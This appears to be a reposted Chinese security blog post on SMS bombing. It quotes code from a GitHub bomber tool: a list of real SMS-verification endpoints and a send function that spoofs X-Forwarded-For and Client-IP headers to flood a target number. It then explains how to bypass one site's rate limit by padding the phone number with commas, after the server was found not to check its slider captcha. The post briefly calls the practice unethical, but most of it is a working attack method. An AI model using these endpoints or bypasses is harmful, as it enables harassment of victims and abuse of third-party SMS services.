看Github的时候看到了短信轰炸的利用,可刑
因为这个项目比较大型了,换一个简单的看看 https://github.com/WindrunnerMax/Boom
哦忘记先说一下短信轰炸的定义了
短信轰炸是指发送大量短信给某个人或一组人,通常目的是骚扰、诈骗或是恶作剧。行为者可能使用软件或在线服务来自动发送短信,从而使受害者接收到大量不必要或恶意的信息。短信轰炸是一种不道德的行为,可能会导致法律后果。
在上面这个项目中的接口有
APIList = [
["https://login.ceconline.com/thirdPartLogin.do",60,"世界经理人","POST",{"mobileNumber":phone,"method": "getDynamicCode","verifyType": "MOBILE_NUM_REG","captcharType":"","time": str(int(time.time()*1000))},""],
["http://www.ntjxj.com/InternetWeb/SendYzmServlet",120,"机动车手机绑定","POST",{"sjhm" : phone},"http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp"],
......
]
通过send方法针对指定的电话号码进行攻击
def send(self,SMS):
# return "SUCCESS"
IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
self.HEADERS['X-FORWARDED-FOR'] = IP
self.HEADERS['CLIENT-IP'] = IP
session = requests.Session()
if SMS.getOthers() != "":
session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)
self.HEADERS['Referer'] = SMS.getOthers()
try:
if SMS.getMethod() == "GET":
req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers = self.HEADERS)
else:
req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers = self.HEADERS)
# print(req.url)
except Exception as e:
return str(e)
return "已发送"
看起来也没啥技术含量,填充参数 -> 发包
因为上面的接口好像都已经加上了验证码的防御,这里就举以前的例子
获取验证码,抓包
虽然这里存在有滑块验证,但是后端并没有对滑块进行验证,故形同虚设。
多次重放发现还是存在频次限制的,响应包显示发送频繁
使用XFF 进行IP伪造,无果
猜测是通过会话来判断是否多次发送的,对session进行修改与删除,无果
对电话号码使用%00 %0a %a0 \n 86等符号进行绕过
发现可以在电话号码前添加86来进行绕过,但是这样仅仅增加了几次短信数量,达不到对某一手机号大规模短信轰炸的效果
又进一步猜测后端会通过某些符号来进行多个电话号码的分割,尝试使用 点 加号 减号 分号 逗号等进行FUZZ绕过。
最终确定使用逗号可以进行绕过
而只需要不断添加逗号,即可以对某一电话进行持续大规模的短信轰炸,实现了频次检查的绕过。
建了一个微信的安全交流群,欢迎添加我微信备注进群
,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 :)
加我拉你入群 | 黑糖安全公众号 |
---|---|
文章引用微信公众号"黑糖安全",如有侵权,请联系管理员删除!